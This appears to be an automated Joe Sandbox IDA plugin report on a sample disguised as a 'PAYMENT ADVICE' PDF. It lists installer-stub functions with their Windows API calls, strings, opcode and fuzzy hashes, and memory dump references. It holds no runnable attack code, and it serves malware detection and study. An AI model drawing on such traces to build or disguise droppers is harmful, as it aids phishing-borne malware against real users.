Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,00000064,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 004062E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNEL32(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5F0,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00405683 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,00441800), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00405C59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNEL32(0040A300,?,00000000,?,?,?,00000000,0040329E,00441000,00441800,00441800,00441800,00441800,00441800,00441800,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
